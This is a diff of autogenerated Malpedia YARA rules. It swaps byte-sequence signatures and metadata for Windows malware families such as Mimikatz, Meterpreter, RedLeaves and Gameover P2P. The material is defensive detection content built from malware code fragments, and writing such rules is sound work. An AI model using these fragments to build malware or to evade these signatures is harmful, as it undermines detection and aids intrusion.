-		$sequence_5 = { 895614 7410 c74620df494300 c74624f24a4300 eb0e c7462087414300 }
-		$sequence_6 = { c745e4ad184200 eb08 8d4dd8 e8???????? 837e1808 74f2 8bce }
-		$sequence_7 = { 660f58ca 660f2815???????? f20f59db 660f282d???????? 660f59f5 660f28aa70534400 660f54e5 }
-		$sequence_8 = { 8b04cdd40a4400 5f 5e 5b 8be5 5d c3 }
-		$sequence_9 = { 33c0 8985e4f7ffff 90 8b4c3814 8d1438 8d4101 }
+		$sequence_0 = { 33c9 4c8d85f0010000 ff15???????? 33db }
+		$sequence_1 = { 4885d2 7431 488b9278010000 4885d2 753a ba01000000 33c9 }
+		$sequence_2 = { 4d85c9 7535 8d5301 33c9 }
+		$sequence_3 = { ff15???????? 4863c8 48ffc6 4803f9 493bf7 0f825fffffff }
+		$sequence_4 = { 4c8b0d???????? 4d85c9 7430 4d8b8910110000 4d85c9 }
+		$sequence_5 = { 488d55e8 498bcc e8???????? 4c8bbc2498000000 }
+		$sequence_6 = { 5e 5d c3 498bdf 6690 80bbc001000030 }
+		$sequence_7 = { 48ffc1 4883f903 72ea 448b4df8 488d0c7e }
+		$sequence_8 = { 488bd0 488b05???????? 48899040060000 488d4dc0 ffd2 66837dc009 b840000000 }
+		$sequence_9 = { 8b44246c 0fb6442468 84c0 7520 }
 
 	condition:
-		7 of them and filesize <42670080
+		7 of them and filesize <99328
 }
-rule MALPEDIA_Win_Unidentified_075_Auto : FILE
+rule MALPEDIA_Win_Redleaves_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "147c0d53-aecb-5cae-ac7f-14d52d3c203f"
-		date = "2023-07-11"
-		modified = "2023-07-15"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_075"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_075_auto.yar#L1-L115"
+		id = "cc8fab97-eb1b-5c40-a45f-7f10d21eb6b6"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redleaves"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.redleaves_auto.yar#L1-L162"
 		license_url = "N/A"
-		logic_hash = "10617fdfd534147bc5e0f7e922724e69d45c37af66d21f98c629fa1bac685120"
+		logic_hash = "1a1a0a58298bb01a37c19c26700f5fe323706257844254db91cc834d1d6766e7"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20230705"
-		malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41"
-		malpedia_version = "20230715"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 83c40c 6808020000 8d95dcf6ffff 52 6a00 }
-		$sequence_1 = { 8bc1 5e 5d c3 55 8bec ff15???????? }
-		$sequence_2 = { 52 e8???????? 6a00 8d85ace6ffff 50 8d8dbceeffff 51 }
-		$sequence_3 = { 83c40c 33c0 668985d4f4ffff 6806020000 }
-		$sequence_4 = { 837d9400 740d 8b55fc c7821002000000000000 837df000 }
-		$sequence_5 = { 52 ff15???????? 83c410 b853000000 66898550ffffff }
-		$sequence_6 = { 33c0 668945d0 8d4dd4 51 }
-		$sequence_7 = { 742c 8b4514 85c0 7421 }
-		$sequence_8 = { 85c0 0f8431ffffff b901000000 85c9 0f8515ffffff }
-		$sequence_9 = { 81eca4000000 894dfc c745f400000000 c745f800000000 }
+		$sequence_0 = { 51 7565 7279 55 7365 7254 }
+		$sequence_1 = { 47 657449 7041 64647254 }
+		$sequence_2 = { 54 53 51 7565 }
+		$sequence_3 = { 9c 894504 9c 9c }
+		$sequence_4 = { 83e901 0f85edffffff 89d0 29f8 5f 5b }
+		$sequence_5 = { 8d64241c d2c0 8a01 9c }
+		$sequence_6 = { 59 89f9 8d64241c d2c0 }
+		$sequence_7 = { 8b04b0 8b4018 898588fdffff 8d8578fdffff }
+		$sequence_8 = { 8b04b0 ff7018 ff701c 8d85acfdffff }
+		$sequence_9 = { 8bec 8b550c 53 8bd9 85d2 7f05 }
+		$sequence_10 = { 50 57 ffb610020000 e8???????? }
+		$sequence_11 = { 8bec a1???????? 56 85c0 7452 }
+		$sequence_12 = { 53 53 6804010000 8d85acfeffff }
+		$sequence_13 = { 8b04b0 83c41c 53 53 }
+		$sequence_14 = { 50 57 ffb60c020000 e8???????? 83c40c 8b860c020000 }
+		$sequence_15 = { 54 9c 60 9c }
+		$sequence_16 = { 9c 9c 8f442420 9c }
 
 	condition:
-		7 of them and filesize <393216
+		7 of them and filesize <1679360
 }
-rule MALPEDIA_Win_Gameover_P2P_Auto : FILE
+rule MALPEDIA_Win_Lightbunny_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f23c7d41-302b-54ee-89d3-a1fcd7481d37"
+		id = "546c8a57-6f91-59bb-b683-389534c380bb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_p2p"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gameover_p2p_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightbunny"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lightbunny_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "15df0db5593f1e0961da9a214002cfa7e3553ad059d6ba39628050e96c9953a2"
+		logic_hash = "4c0608cdc020e5347f646e557ecb414bd8f3027b0aca947da82d4930945e8be1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139569,34 +146535,34 @@ rule MALPEDIA_Win_Gameover_P2P_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b01 8975dc 85c0 740f ffb09c010000 8d45d4 50 }
-		$sequence_1 = { 8d873c010000 50 889f38010000 ffd6 }
-		$sequence_2 = { ba???????? 8d8d70fdffff e8???????? 85c0 0f95c0 84c0 7509 }
-		$sequence_3 = { 743f 53 8d442420 50 57 56 ff742428 }
-		$sequence_4 = { 7769 8a442412 0fb6c0 668901 8a442413 0fb6c0 66894102 }
-		$sequence_5 = { 7415 ff770c 8d442418 51 }
-		$sequence_6 = { e8???????? 8bf8 689a000000 8bd3 8bce 897c242c }
-		$sequence_7 = { b9a6000000 8d5588 e8???????? e8???????? 8bc8 e8???????? 8b750c }
-		$sequence_8 = { 85c0 7548 68???????? ff35???????? ffd6 85c0 7537 }
-		$sequence_9 = { f3ab 33db 6818010000 66ab 8d842410010000 53 50 }
+		$sequence_0 = { 6bc930 8b048520ae4100 0fb6440828 83e040 5d }
+		$sequence_1 = { 8bc1 83e13f c1f806 6bc930 8b048520ae4100 f644082801 }
+		$sequence_2 = { 83c404 6a02 ff35???????? ffd3 }
+		$sequence_3 = { 894708 0fb74602 50 ff15???????? }
+		$sequence_4 = { ff35???????? ff15???????? c705????????00000000 8b4dfc }
+		$sequence_5 = { 51 ff15???????? 85c0 740e 8b400c 8b00 }
+		$sequence_6 = { 8d3c9d58ab4100 f00fb10f 8bc8 85c9 740b }
+		$sequence_7 = { 83c404 83f801 0f851dffffff 8b5710 33c9 b8???????? 90 }
+		$sequence_8 = { 6bc030 c1f906 03048d20ae4100 eb02 8bc6 80782900 7522 }
+		$sequence_9 = { 8b75f8 33ff 8b0d???????? 8bc6 8945e4 894de8 }
 
 	condition:
-		7 of them and filesize <598016
+		7 of them and filesize <2376704
 }
-rule MALPEDIA_Win_Darkloader_Auto : FILE
+rule MALPEDIA_Win_Meterpreter_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "601e152a-7554-5605-b5d8-66c528809ef1"
+		id = "94296578-89d7-5d7b-b7e4-efe037d64332"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkloader_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meterpreter"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.meterpreter_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "3bce0c9d521648c67df3e1e758ce6a8ac769bd1d815dcd4dfd750767fac4bfe8"
+		logic_hash = "71f865d4008295f79c7afc49beb427fb0376821d7b27897466868baff3347cd2"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -139608,34 +146574,34 @@ rule MALPEDIA_Win_Darkloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8bb42434020000 c1e607 68???????? 89b42438020000 8dbe10a10010 }
-		$sequence_1 = { c70424???????? e8???????? c70424???????? 8bf8 56 e8???????? }
-		$sequence_2 = { 51 ff36 8b00 8b00 8986b0010000 ff96bc010000 }
-		$sequence_3 = { 57 ff74241c e8???????? 03c3 0fb73470 }
-		$sequence_4 = { 3c5f 7447 3c2e 7443 3c7e }
-		$sequence_5 = { 8b7c240c 8bcf 8906 8d5101 8a01 41 84c0 }
-		$sequence_6 = { 84c0 740b 80f90d 7519 }
-		$sequence_7 = { 894c241c 85c9 0f84b3000000 8b4020 }
-		$sequence_8 = { 6bc503 40 50 e8???????? be???????? 8d7c2418 }
-		$sequence_9 = { 83c428 50 6a40 6a05 53 ffd6 }
+		$sequence_0 = { 55 8bec dcec 088b55895356 108b3a85ff89 7dfc 750e }
+		$sequence_1 = { fc b8c0150000 8b7508 33e5 257e040275 238b1d6a016a 006a00 }
+		$sequence_2 = { f1 57 52 bc40e84fff 38ff 83db14 5f }
+		$sequence_3 = { 314319 034319 83ebfc 0acb }
+		$sequence_4 = { 0000 68ffff0000 52 ffd7 8b2410 }
+		$sequence_5 = { 8be5 5d c27f00 8d4df4 8d55ec }
+		$sequence_6 = { 51 6a00 6a00 37 0052bf 15???????? 85c0 }
+		$sequence_7 = { 8b451c 8d07 a4 52 8d4d18 50 }
+		$sequence_8 = { 41 00ff 15???????? 33c0 c3 7790 55 }
+		$sequence_9 = { 83ec08 53 8b4708 57 33ff 85db }
 
 	condition:
-		7 of them and filesize <124928
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Mimikatz_Auto : FILE
+rule MALPEDIA_Win_Deadwood_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d4a7b901-d580-5f27-9943-deb2fd01403a"
+		id = "5f00cc5a-9602-50e1-9261-d675303486e9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimikatz"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mimikatz_auto.yar#L1-L208"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deadwood"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.deadwood_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "545bdfd9bb109ef6aa7c579d3c8a6e0e694cb1fac0a4b134cb9c66bf853a0582"
+		logic_hash = "ea97d4cccc4d6a9b5e482bbc380fcc6fbef419bedaf1f051b13240e62ed24277"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -139647,44 +146613,32 @@ rule MALPEDIA_Win_Mimikatz_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f7f1 85d2 7406 2bca }
-		$sequence_1 = { 83f8ff 750e ff15???????? c7002a000000 }
-		$sequence_2 = { c3 81f998000000 7410 81f996000000 7408 }
-		$sequence_3 = { e8???????? 894720 85c0 7413 }
-		$sequence_4 = { f30f6f4928 f30f7f8c24a0000000 f30f6f4138 f30f7f8424b8000000 }
-		$sequence_5 = { 83f812 72f1 33c0 c3 }
-		$sequence_6 = { ff5028 8be8 85c0 787a }
-		$sequence_7 = { 66894108 33c0 39410c 740b }
-		$sequence_8 = { eb0c bfdfff0000 6623fe 6683ef07 8b742474 }
-		$sequence_9 = { 6683f83f 7607 32c0 e9???????? }
-		$sequence_10 = { 2bc1 85c9 7403 83c008 d1e8 8d441002 }
-		$sequence_11 = { ff15???????? b940000000 8bd0 89442430 }
-		$sequence_12 = { 3c02 7207 e8???????? eb10 }
-		$sequence_13 = { ff15???????? b9e9fd0000 8905???????? ff15???????? }
-		$sequence_14 = { 8d04f530d94600 8938 68a00f0000 ff30 83c718 ff15???????? 85c0 }
-		$sequence_15 = { 837e1800 7402 ffd0 e8???????? 53 }
-		$sequence_16 = { 57 33ff ffb750da4600 ff15???????? 898750da4600 83c704 }
-		$sequence_17 = { e8???????? 8d04453cdb4600 8bc8 2bce 6a03 d1f9 68???????? }
-		$sequence_18 = { a1???????? a3???????? a1???????? c705????????cf2f4000 8935???????? }
-		$sequence_19 = { 8888a0d44600 40 ebe6 ff35???????? ff15???????? }
-		$sequence_20 = { 8a80a4d54600 08443b1d 0fb64601 47 3bf8 76ea 8b7d08 }
-		$sequence_21 = { 43 83c408 83fb04 7cdc 8b5df8 8ad3 }
+		$sequence_0 = { 51 e8???????? 83c404 33db be0f000000 89b42418010000 899c2414010000 }
+		$sequence_1 = { 7303 8d4508 8b5518 52 50 8b4110 50 }
+		$sequence_2 = { 7464 8bf0 8b4814 894c2424 3bcb 7504 895c2428 }
+		$sequence_3 = { 6a01 8d442414 50 8d4c243c 897c247c c744241878f44500 e8???????? }
+		$sequence_4 = { 8bf8 85ff 0f8484000000 53 53 53 53 }
+		$sequence_5 = { ff15???????? 6804010000 8d8df4fdffff 51 50 ff15???????? 33d2 }
+		$sequence_6 = { e8???????? 8b542460 c7442440e4ba4500 bb???????? 895c2454 8b4204 c7440460c8ba4500 }
+		$sequence_7 = { 8b07 8b4804 837c390c00 0f94c1 884dd8 c745fc01000000 84c9 }
+		$sequence_8 = { 74ed 89450c 8b13 807a1d00 7404 8b3e eb13 }
+		$sequence_9 = { 8bb510ffffff e9???????? c3 8d8d34ffffff e9???????? 8d8d18ffffff e9???????? }
 
 	condition:
-		7 of them and filesize <1642496
+		7 of them and filesize <1055744
 }
-rule MALPEDIA_Win_Dircrypt_Auto : FILE
+rule MALPEDIA_Win_Tapaoux_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b395b5b7-d790-5f9f-ab3c-658138d51b34"
+		id = "68d778fd-5462-5b8a-898a-2fe57f5f9d68"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dircrypt"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dircrypt_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tapaoux"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tapaoux_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "9b92693268fddc2e1dd801012d692fa19a40b6fbb8b33ec64e384964127e0228"
+		logic_hash = "f82a0c342c816d1880cfb31489fc94204aa3933a5341062512dc21730819514f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139698,32 +146652,32 @@ rule MALPEDIA_Win_Dircrypt_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7531 c705????????01000000 e8???????? e8???????? 833d????????00 7514 68???????? }
-		$sequence_1 = { e8???????? e8???????? 68???????? ff15???????? 833d????????00 751a }
-		$sequence_2 = { 68???????? e8???????? 05d2070000 50 e8???????? a3???????? 6a13 }
-		$sequence_3 = { 8bec 51 6a00 6a00 8d45fc 50 68???????? }
-		$sequence_4 = { 68???????? 8d45dc 50 e8???????? 6a00 e8???????? }
-		$sequence_5 = { 6801000080 e8???????? e8???????? e8???????? e8???????? }
-		$sequence_6 = { e8???????? 05d5070000 50 6a01 6a02 6a08 }
-		$sequence_7 = { 68???????? 8d45dc 50 e8???????? 6a00 e8???????? 05d6070000 }
-		$sequence_8 = { 833d????????00 7514 68???????? 68???????? e8???????? a3???????? 833d????????00 }
-		$sequence_9 = { 51 6a00 6a00 8d45fc 50 68???????? 6802000080 }
+		$sequence_0 = { 83c404 8d9424d0020000 33f6 52 55 ffd3 85c0 }
+		$sequence_1 = { f7d1 49 8d7c2454 894c2418 83c9ff f2ae f7d1 }
+		$sequence_2 = { 52 50 8d4c2420 68???????? 51 eb49 b900010000 }
+		$sequence_3 = { 68???????? 52 ffd6 8d44245c 68???????? 50 }
+		$sequence_4 = { 8be8 83fdff 0f84b0000000 8b3d???????? }
+		$sequence_5 = { 83c404 8d4c2414 50 51 e8???????? 8d54241c }
+		$sequence_6 = { 8d442408 55 50 8d8c241c040000 6800040000 51 56 }
+		$sequence_7 = { c3 8d442408 8d4c240c 50 53 53 }
+		$sequence_8 = { 68???????? 50 e8???????? 8b07 83c418 85c0 7526 }
+		$sequence_9 = { aa 8bb424200c0000 b900010000 33c0 }
 
 	condition:
-		7 of them and filesize <671744
+		7 of them and filesize <294912
 }
-rule MALPEDIA_Win_Bart_Auto : FILE
+rule MALPEDIA_Win_Mail_O_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1691d219-2287-5770-a9af-369cb19fd25c"
+		id = "f99f4969-80f4-597a-910e-873dc6aaa6b8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bart"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bart_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mail_o"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mail_o_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "20a38c1c6b8b98b8d85839077c1f03f4679fb05ea3fd09bb3acf392b4f9ee60a"
+		logic_hash = "873a5557134df7611d1b518c4c6caa2026bc1ae07076d192a3e745c13ea47ee0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139737,32 +146691,32 @@ rule MALPEDIA_Win_Bart_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b0483 3bd0 772e 7205 80c1ff 79e8 33c9 }
-		$sequence_1 = { 8b0433 03c2 03c1 3bc2 7404 1bc9 }
-		$sequence_2 = { 8a18 894dd0 8955c8 8945cc 57 85f6 }
-		$sequence_3 = { 660fd6459c e8???????? 83c410 8d8570ffffff 33c9 ba07000000 }
-		$sequence_4 = { e8???????? 8b7598 8d4d9c 8b5590 0fb606 }
-		$sequence_5 = { 8b4485dc d3e8 88043a 0fbed3 3bd6 7cde 8bbd58ffffff }
-		$sequence_6 = { 7868 8bc8 0fbec2 8b5508 894c2418 8d1482 8a44240e }
-		$sequence_7 = { 84db 0f8ed3020000 0fb6d3 8bc7 899564ffffff 0b08 8d4004 }
-		$sequence_8 = { 8bca e8???????? 8b4dfc 83c438 33cd 5f 5e }
-		$sequence_9 = { 0f88ff000000 8b7df4 83c706 42 }
+		$sequence_0 = { 7707 33c0 e9???????? f683a414000020 7417 8b83700e0000 2500000100 }
+		$sequence_1 = { f20f104c2450 f20f114930 83cbff 8b0f e8???????? 8bc3 488b5c2470 }
+		$sequence_2 = { eb0c 488d15b7940d00 e8???????? 488b4708 488d542440 448b4710 33c9 }
+		$sequence_3 = { b920000000 ffcb ff542428 83f8ff 0f84b2010000 ffc7 85db }
+		$sequence_4 = { 8b5c2438 418d7f10 4533c0 498bce 3bfb 7e23 488d542440 }
+		$sequence_5 = { e8???????? eb17 498b4d10 4d8bf4 418bdc e8???????? eb06 }
+		$sequence_6 = { c744242071000000 448d4041 eb1f 488918 488bd0 488b4d08 e8???????? }
+		$sequence_7 = { 85c0 743c 48ffc3 483b5c2430 72c3 488bcf e8???????? }
+		$sequence_8 = { 84c0 7465 48ffc1 498d0408 483bc2 72df ba00800000 }
+		$sequence_9 = { e8???????? 8bf8 85c0 7556 48837c245000 7505 8d7809 }
 
 	condition:
-		7 of them and filesize <163840
+		7 of them and filesize <5985280
 }
-rule MALPEDIA_Win_Multigrain_Pos_Auto : FILE
+rule MALPEDIA_Win_Medusa_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a0867608-6152-525b-bb1e-ffd07d70fa86"
+		id = "e5ced166-c5f3-50c0-9e84-e449f6bff889"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.multigrain_pos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.multigrain_pos_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.medusa"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.medusa_auto.yar#L1-L167"
 		license_url = "N/A"
-		logic_hash = "e5b2ff30a169eba30bec1ec0cb7a796ca39923255067b4e9a8563c5dcf8b4ca3"
+		logic_hash = "b88f5d47ff30b39fc78331a46c037d026177b73d253964f40555a9ce1312bb08"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139776,32 +146730,38 @@ rule MALPEDIA_Win_Multigrain_Pos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c745fc00000000 8b7518 b8cdcccccc 8d0cf504000000 }
-		$sequence_1 = { 57 e8???????? 83c404 6a00 c746140f000000 }
-		$sequence_2 = { c645fc01 e8???????? 83c408 83bdb4fdffff08 720e ffb5a0fdffff }
-		$sequence_3 = { 0f8530020000 68c8000000 50 8d85c4feffff 50 e8???????? 83c40c }
-		$sequence_4 = { 0fb64c1e01 c1e905 894df4 eb07 c745f400000000 0fb60c1e 8b55f8 }
-		$sequence_5 = { 8bd0 8d4dd8 c645fc03 e8???????? }
-		$sequence_6 = { c745e0ffffffff c745e800000000 c745e400000000 c745ec01000000 c745f401000000 }
-		$sequence_7 = { e8???????? 83c404 56 ffd3 33db 395f10 56 }
-		$sequence_8 = { 81eca8040000 a1???????? 33c4 898424a4040000 56 57 }
-		$sequence_9 = { c745f400000000 8b4df0 8b5df8 0fb609 83e101 }
+		$sequence_0 = { 680049ff69 004aff 6a00 4b ff6b00 4c ff6c004d }
+		$sequence_1 = { 1a03 69c421f3ef6a 2048b3 a5 }
+		$sequence_2 = { 52 ff7200 53 ff7300 54 }
+		$sequence_3 = { 317f52 56 5c ab 92 6f 0c48 }
+		$sequence_4 = { 9e 45 334a54 98 56 39ec 51 }
+		$sequence_5 = { 9f c48b2addd977 7612 a5 ba3c533f71 }
+		$sequence_6 = { e60e 6c 7bbc 45 }
+		$sequence_7 = { 54 ff740055 ff7500 56 }
+		$sequence_8 = { 99 5f 68066e570a 4f bfdb4a7adc }
+		$sequence_9 = { 1ddf859f31 e476 0c48 ce 74ec 1b826a013061 }
+		$sequence_10 = { 2a18 ae 085ffb cf }
+		$sequence_11 = { b5f9 43 324dd5 1ddf859f31 e476 0c48 }
+		$sequence_12 = { 5f e1fb 1cc9 3ca5 2c8e a1???????? d528 }
+		$sequence_13 = { b051 9f 4a d7 b9533e507c }
+		$sequence_14 = { 6c 6f aa 97 691c85470859bab566c1a5 }
+		$sequence_15 = { 813bf80937dc 8b4c6386 8608 5f }
 
 	condition:
-		7 of them and filesize <286720
+		7 of them and filesize <1720320
 }
-rule MALPEDIA_Win_Dropshot_Auto : FILE
+rule MALPEDIA_Win_Gameover_P2P_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f835fd17-f919-5a07-a5c9-cff4292c1163"
+		id = "f23c7d41-302b-54ee-89d3-a1fcd7481d37"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dropshot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dropshot_auto.yar#L1-L98"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_p2p"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gameover_p2p_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "98ce90f78c6e888102f62c73a346864796873af9c7b795369b519cebc67a4ac6"
+		logic_hash = "15df0db5593f1e0961da9a214002cfa7e3553ad059d6ba39628050e96c9953a2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139815,30 +146775,32 @@ rule MALPEDIA_Win_Dropshot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 83c40c 6a04 6800100000 6804010000 6a00 ff15???????? }
-		$sequence_1 = { ff15???????? 5d c3 3b0d???????? f27502 }
-		$sequence_2 = { 6a64 ff15???????? 6800800000 6a00 }
-		$sequence_3 = { 6a05 ff15???????? ff15???????? 6a00 }
-		$sequence_4 = { eb05 e8???????? 68e8030000 ff15???????? }
-		$sequence_5 = { ff15???????? 6a04 6800100000 6808020000 }
-		$sequence_6 = { ff15???????? 6a00 ff15???????? 6a00 ff15???????? 6a05 }
-		$sequence_7 = { 6a00 6a00 68???????? 6a00 ff15???????? b801000000 }
+		$sequence_0 = { 8b01 8975dc 85c0 740f ffb09c010000 8d45d4 50 }
+		$sequence_1 = { 8d873c010000 50 889f38010000 ffd6 }
+		$sequence_2 = { ba???????? 8d8d70fdffff e8???????? 85c0 0f95c0 84c0 7509 }
+		$sequence_3 = { 743f 53 8d442420 50 57 56 ff742428 }
+		$sequence_4 = { 7769 8a442412 0fb6c0 668901 8a442413 0fb6c0 66894102 }
+		$sequence_5 = { 7415 ff770c 8d442418 51 }
+		$sequence_6 = { e8???????? 8bf8 689a000000 8bd3 8bce 897c242c }
+		$sequence_7 = { b9a6000000 8d5588 e8???????? e8???????? 8bc8 e8???????? 8b750c }
+		$sequence_8 = { 85c0 7548 68???????? ff35???????? ffd6 85c0 7537 }
+		$sequence_9 = { f3ab 33db 6818010000 66ab 8d842410010000 53 50 }
 
 	condition:
-		7 of them and filesize <483328
+		7 of them and filesize <598016
 }
-rule MALPEDIA_Win_Webc2_Cson_Auto : FILE
+rule MALPEDIA_Win_Termite_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9e77cd9b-5577-55ec-9bc9-fce8ae6111d5"
+		id = "f52e0f9c-00a2-57d7-aba9-0dbbb1d1c2e2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_cson"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_cson_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.termite"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.termite_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "7c0e799e7902791c334e5b7573181538432e1af2060bac92fa55c2a280799f66"
+		logic_hash = "cc787c4fe1eac82cec1ddbf65768a64c7a8c2c3d8dd4b766767f73077448495f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -139852,34 +146814,34 @@ rule MALPEDIA_Win_Webc2_Cson_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8d85f0feffff 50 e8???????? 6a1e 8db5f6feffff 59 }
-		$sequence_1 = { be???????? 8dbd74ffffff 6a0a f3a5 a4 be???????? 56 }
-		$sequence_2 = { 50 e8???????? 59 59 ff7508 8d85acfcffff 50 }
-		$sequence_3 = { e8???????? 59 59 68???????? ff15???????? 53 bf???????? }
-		$sequence_4 = { 83c410 85ff 743f 85c0 743b 2bc7 }
-		$sequence_5 = { 8bec 81ec54030000 53 56 8b35???????? 57 33db }
-		$sequence_6 = { 83f803 0f859c010000 53 53 53 53 }
